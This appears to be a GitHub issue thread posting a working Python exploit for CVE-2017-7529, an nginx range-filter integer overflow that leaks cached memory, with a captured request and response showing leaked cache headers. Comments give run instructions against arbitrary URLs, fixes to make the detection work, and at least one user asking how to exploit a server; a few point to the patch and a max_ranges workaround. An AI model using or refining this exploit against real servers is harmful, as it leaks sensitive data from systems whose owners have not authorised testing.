[Exploit] CVE-2017-7529 / Nginx - Remote Integer Overflow Vulnerability #15

nixawk · 2017-08-14T06:06:36Z

Description

Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.

#!/usr/bin/python
# -*- coding:utf-8 -*-

# Nginx - Remote Integer Overflow Vulnerability
# CVE-2017-7529

import requests
import logging
import sys


logging.basicConfig(level=logging.INFO)
log = logging.getLogger(__name__)


def send_http_request(url, headers={}, timeout=8.0):
    httpResponse   = requests.get(url, headers=headers, timeout=timeout)
    httpHeaders    = httpResponse.headers

    log.info("status: %s: Server: %s", httpResponse.status_code, httpHeaders.get('Server', ''))
    return httpResponse


def exploit(url):
    log.info("target: %s", url)
    httpResponse   = send_http_request(url)

    content_length = httpResponse.headers.get('Content-Length', 0)
    bytes_length   = int(content_length) + 623
    content_length = "bytes=-%d,-9223372036854%d" % (bytes_length, 776000 - bytes_length)

    httpResponse   = send_http_request(url, headers={ 'Range': content_length })
    if httpResponse.status_code == 206 and "Content-Range" in httpResponse.text:
        log.info("[+] Vulnerable to CVE-2017-7529")
    else:
        log.info("[?] Unknown Vulnerable")


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("[*] %s <url>" % sys.argv[0])
        sys.exit(1)

    url = sys.argv[1]
    exploit(url)


"""
GET /proxy/demo.png HTTP/1.1
Accept-Encoding: identity
Range: bytes=-17208,-9223372036854758792
Host: 127.0.0.1:8000
Connection: close
User-Agent: Python-urllib/2.7

HTTP/1.1 206 Partial Content
Server: nginx/1.13.1
Date: Mon, 14 Aug 2017 05:53:54 GMT
Content-Type: multipart/byteranges; boundary=00000000000000000002
Connection: close
Last-Modified: Mon, 17 Jul 2017 02:19:08 GMT
ETag: "40c9-5547a060fdf00"
X-Proxy-Cache: HIT


--00000000000000000002
Content-Type: image/png
Content-Range: bytes -623-16584/16585

.......<.Y......................lY....r:.Y.....@.`..v.q.."40c9-5547a060fdf00".................................................................................................................................................................................................................................................................
KEY: httpGET127.0.0.1/proxy/demo.png
HTTP/1.1 200 OK
Date: Mon, 14 Aug 2017 05:51:46 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Mon, 17 Jul 2017 02:19:08 GMT
ETag: "40c9-5547a060fdf00"
Accept-Ranges: bytes
Content-Length: 16585
Connection: close
Content-Type: image/png

"""

References

The text was updated successfully, but these errors were encountered:

vadimik · 2017-11-05T09:48:36Z

Hi, could you tell me ho to use exploit. Thenks!

Jaganmohan029 · 2017-12-04T14:03:49Z

Copy the code and paste it in notepad of windows or whatever the OS you're using and run it using the following command
python "text file name".py "URL you want to exploit"

ex: python3 test.py http://www."URL".com

siochs · 2017-12-04T14:38:11Z

Hmm, just tried the following:
docker run -d -p 80:80 -v /var/run/docker.sock:/tmp/docker.sock:ro jwilder/nginx-proxy:0.6.0
docker run -d --expose 80 -e VIRTUAL_HOST=foo.bar.com tutum/hello-world
On the host, i added 127.0.0.1 foo.bar.com to /etc/hosts to get foo.bar.com resolved.
curl -L foo.bar.com
outputs "Hello World", so the nginx-proxy is working.
python CVE-2017-7529.py http://foo.bar.com/etc/fstab
outputs

INFO:__main__:target: http://foo.bar.com/etc/fstab
INFO:__main__:status: 200: Server: nginx/1.11.10
INFO:__main__:status: 200: Server: nginx/1.11.10
INFO:__main__:[?] Unknown Vulnerable

According to Dockerfile and to the proxy replies the nginx-version is 1.11.10, so the bug should apply, right?

nixawk · 2017-12-05T00:52:25Z

Thanks @siochs . I will try to review it.

woei66 · 2017-12-12T10:28:47Z

is there solution for this? is it a high risk issue?

woei66 · 2017-12-12T12:02:03Z

I found a article about this issue and looks like there is a patch for this issue.
Let's wait for the new release with this patch code.
Thank you.

https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-7529.html

the following configuration can
be used as a temporary workaround:
max_ranges 1;
http://nginx.org/download/patch.2017.ranges.txt

r3k2 · 2017-12-13T19:14:47Z

https://access.redhat.com/security/cve/cve-2017-7529 FYI.

siochs · 2017-12-14T14:56:09Z

Still curious why the Exploit does not work using a vulnerable nginx-proxy runnning in a docker container.

noraj · 2017-12-17T18:09:52Z

You may want to submit your exploit @ https://www.exploit-db.com/submit/

murat-kaya · 2018-07-06T06:17:33Z

@siochs Change this;
"Content-Range" in httpResponse.text
to this
"Content-Range" in httpResponse.headers

qre0ct · 2018-08-01T10:09:53Z

This still does not seem to work and I get the same error as @siochs . Any further suggestions ?

jatoch · 2018-08-15T16:18:07Z

It didnt work for me aswell

sangeeta667143 · 2018-08-16T12:32:35Z

didnt work for me as well..
same output for me also
NFO:main:target: http://www.examlpe.com
INFO:main:status: 200: Server: nginx/1.11.10
INFO:main:status: 200: Server: nginx/1.11.10
INFO:main:[?] Unknown Vulnerable

tiropas · 2018-08-19T20:03:52Z

what version of python are you all using? sometimes if the version isn't correct python gives out errors.

ghost · 2018-08-29T13:07:36Z

I get the same error as @siochs.any idea how to resolve it

jatoch · 2018-08-29T16:31:53Z

INFO:main:[?] Unknown Vulnerable

avi2606 · 2018-08-30T08:07:14Z

same error here too
INFO:main:status: 200: Server: nginx
INFO:main:status: 200: Server: nginx
INFO:main:[?] Unknown Vulnerable

Abdelkad3r · 2018-08-31T10:56:10Z

same error here too:
INFO:main:target: https://url.com
INFO:main:status: 200: Server: nginx/1.12.1
INFO:main:status: 200: Server: nginx/1.12.1
INFO:main:[?] Unknown Vulnerable

iamdevnull · 2018-09-05T14:27:11Z

same error here too:

INFO:requests.packages.urllib3.connectionpool:Starting new HTTPS connection (1): site.com INFO:__main__:status: 416: Server: nginx/1.10.3 (Ubuntu) INFO:__main__:[?] Unknown Vulnerable

any idea ?

jatoch · 2018-09-07T20:55:33Z

Not vulnerable: 1.13.3+, 1.12.1+
Vulnerable: 0.5.6-1.13.2

theaayushanand · 2018-09-10T13:37:25Z

Change "Content-Range" in httpResponse.text to "Content-Range" in httpResponse.headers

elcolie · 2018-09-13T08:31:03Z

I got httpResponse.status_code == 200 Is that OK?

sakurakishiro · 2018-12-27T02:20:09Z

the same error .
INFO:__main__:target: (http://www.****.com) INFO:__main__:status: 200: Server: nginx/1.8.0 INFO:__main__:status: 200: Server: nginx/1.8.0 INFO:__main__:[?] Unknown Vulnerable

hlw0159 · 2019-01-15T10:27:46Z

hey i find nginx/1.13.9 cve???

technick333 · 2019-01-22T10:27:31Z

in line
if httpResponse.status_code == 206 and "Content-Range" in httpResponse.text:
need to be replaced by
httpResponse.status_code == 206 and "Content-Range" in httpResponse.headers:

hlw0159 · 2019-01-22T11:02:00Z

I am looking for nginx1.14.1 cve. Is there ??

LJ-Silver · 2019-01-23T09:36:45Z

in line
if httpResponse.status_code == 206 and "Content-Range" in httpResponse.text:
need to be replaced by
httpResponse.status_code == 206 and "Content-Range" in httpResponse.headers:

After that change, I'm still getting:

INFO:main:status: 200: Server: nginx/1.10.3
INFO:main:[?] Unknown Vulnerable

any idea?

RackunSec · 2019-01-23T14:14:53Z

Hello, I got here while searching for an exploit from a HTB system.

To everyone getting the "Unknown Vulnerable" error - update the code like so, starting at line 32:

    httpResponse   = send_http_request(url, headers={ 'Range': content_length })
    if httpResponse.status_code == 206 and "Content-Range" in httpResponse.headers:
        log.info("[+] Vulnerable to CVE-2017-7529")
    else:
        print("[!] Target not vulnerable: HTTP response code: "+str(httpResponse.status_code))

This way, you can actually see the HTTP response code from the target server. If it's not "206" as the logic shows in the exploit test code, if httpResponse.status_code == 206 and "Content-Range" in httpResponse.headers then the server could already be patched for this vulnerability.

This is probably the case if Ngnix is installed from distribution's package repositories.

I hope that this helps.
~Douglas

skesineni · 2019-04-10T18:16:34Z

Hello, We've updated our Nginx to new version 1.15.9 but still getting Vulnerable to CVE-2017-7529 message. Why is it still showing that message instead of Unknown Vulnerable after we updated to latest version. Can anyone give any inputs? Thanks!

INFO:main:status: 200: Server:
INFO:main:status: 206: Server:
INFO:main:[+] Vulnerable to CVE-2017-7529

marcelo321 · 2019-04-30T23:49:45Z

it appears that nginx/1.12.1 isn't vunerable, but it is on the range 0.5.6 - 1.13.2. can someone verify this please??

snorez · 2019-05-14T09:17:58Z

This python script does work. The url need to be something like http://xxx/yyy/zzz.png, also, you should modify nginx.conf to make the url could be accessed.

if httpResponse.status_code == 206 and "Content-Range" in httpResponse.text:

NOT

if httpResponse.status_code == 206 and "Content-Range" in httpResponse.headers:

We need a image file to do this.
The ngx_http_range_header_filter() check r->allow_range, which is set when the file acquired is an image.

I compiled nginx 1.14.0 without this patch.

test@ubuntu:~/Desktop$ python cve-2017-7529.py http://127.0.0.1/images/demo.png
INFO:__main__:target: http://127.0.0.1/images/demo.png
INFO:__main__:status: 200: Server: nginx/1.14.0 (Ubuntu)
INFO:__main__:status: 206: Server: nginx/1.14.0 (Ubuntu)
{'Server': 'nginx/1.14.0 (Ubuntu)', 'Last-Modified': 'Tue, 14 May 2019 08:34:34 GMT', 'Connection': 'keep-alive', 'ETag': '"5cda7d9a-eba5"', 'Date': 'Tue, 14 May 2019 09:01:44 GMT', 'Content-Type': 'multipart/byteranges; boundary=00000000000000000002'}

--00000000000000000002
Content-Type: image/png
Content-Range: bytes -623-60324/60325


INFO:__main__:[+] Vulnerable to CVE-2017-7529

thehappydinoa · 2019-09-02T18:02:29Z

I fixed up this exploit and made it into a nice little gist: https://gist.github.com/thehappydinoa/bc3278aea845b4f578362e9363c51115

hackersden09 · 2019-10-25T07:27:22Z

anyone can tell me what is the mean of this responce
i wants to exploit this vul
INFO:main:status: 200: Server: nginx/1.10.3
INFO:main:status: 200: Server: nginx/1.10.3
INFO:main:[?] Unknown Vulnerable

rjw245 · 2020-03-31T15:35:22Z

I fixed up this exploit and made it into a nice little gist: https://gist.github.com/thehappydinoa/bc3278aea845b4f578362e9363c51115

The gist ignores snorez advice to look for Content-Range in the response text as opposed to the header.

rjw245 · 2020-03-31T15:36:49Z

This python script does work. The url need to be something like http://xxx/yyy/zzz.png, also, you should modify nginx.conf to make the url could be accessed.

if httpResponse.status_code == 206 and "Content-Range" in httpResponse.text:

NOT

if httpResponse.status_code == 206 and "Content-Range" in httpResponse.headers:

We need a image file to do this.
The ngx_http_range_header_filter() check r->allow_range, which is set when the file acquired is an image.

I compiled nginx 1.14.0 without this patch.

test@ubuntu:~/Desktop$ python cve-2017-7529.py http://127.0.0.1/images/demo.png
INFO:__main__:target: http://127.0.0.1/images/demo.png
INFO:__main__:status: 200: Server: nginx/1.14.0 (Ubuntu)
INFO:__main__:status: 206: Server: nginx/1.14.0 (Ubuntu)
{'Server': 'nginx/1.14.0 (Ubuntu)', 'Last-Modified': 'Tue, 14 May 2019 08:34:34 GMT', 'Connection': 'keep-alive', 'ETag': '"5cda7d9a-eba5"', 'Date': 'Tue, 14 May 2019 09:01:44 GMT', 'Content-Type': 'multipart/byteranges; boundary=00000000000000000002'}

--00000000000000000002
Content-Type: image/png
Content-Range: bytes -623-60324/60325


INFO:__main__:[+] Vulnerable to CVE-2017-7529

@snorez Will HTTPS not work for reproducing this exploit?

Otojon · 2022-10-10T15:00:00Z

Hmm? Interesting .... exploit is not working with vulnerable server

chamba mentioned this issue Apr 2, 2018

0day security issue datosgobar/series-tiempo-ar-api#244

Closed

tweidinger mentioned this issue Dec 26, 2018

karrot.world is using outdated nginx karrot-dev/karrot-frontend#1159

Closed

akotlar mentioned this issue Feb 4, 2019

Gateway + Letsencrypt changes for app , notebook-api hail-is/hail#5244

Merged

savushkin-yauheni mentioned this issue Sep 7, 2020

Possible error in CVE-2017-7529.yaml matcher projectdiscovery/nuclei-templates#424

Closed

[Exploit] CVE-2017-7529 / Nginx - Remote Integer Overflow Vulnerability #15

[Exploit] CVE-2017-7529 / Nginx - Remote Integer Overflow Vulnerability #15

Comments

nixawk commented Aug 14, 2017 • edited Loading

Description

References

vadimik commented Nov 5, 2017

Jaganmohan029 commented Dec 4, 2017 • edited Loading

siochs commented Dec 4, 2017 • edited Loading

nixawk commented Dec 5, 2017

woei66 commented Dec 12, 2017

woei66 commented Dec 12, 2017 • edited Loading

r3k2 commented Dec 13, 2017

siochs commented Dec 14, 2017

noraj commented Dec 17, 2017

murat-kaya commented Jul 6, 2018

qre0ct commented Aug 1, 2018

jatoch commented Aug 15, 2018

sangeeta667143 commented Aug 16, 2018

tiropas commented Aug 19, 2018

ghost commented Aug 29, 2018

jatoch commented Aug 29, 2018

avi2606 commented Aug 30, 2018

Abdelkad3r commented Aug 31, 2018

iamdevnull commented Sep 5, 2018

jatoch commented Sep 7, 2018

theaayushanand commented Sep 10, 2018

elcolie commented Sep 13, 2018

sakurakishiro commented Dec 27, 2018 • edited Loading

hlw0159 commented Jan 15, 2019

technick333 commented Jan 22, 2019

hlw0159 commented Jan 22, 2019 via email

LJ-Silver commented Jan 23, 2019 • edited Loading

RackunSec commented Jan 23, 2019

skesineni commented Apr 10, 2019 • edited Loading

marcelo321 commented Apr 30, 2019

snorez commented May 14, 2019

thehappydinoa commented Sep 2, 2019

hackersden09 commented Oct 25, 2019

rjw245 commented Mar 31, 2020

rjw245 commented Mar 31, 2020

Otojon commented Oct 10, 2022

nixawk commented Aug 14, 2017 •

edited

Loading

Jaganmohan029 commented Dec 4, 2017 •

edited

Loading

siochs commented Dec 4, 2017 •

edited

Loading

woei66 commented Dec 12, 2017 •

edited

Loading

sakurakishiro commented Dec 27, 2018 •

edited

Loading

LJ-Silver commented Jan 23, 2019 •

edited

Loading

skesineni commented Apr 10, 2019 •

edited

Loading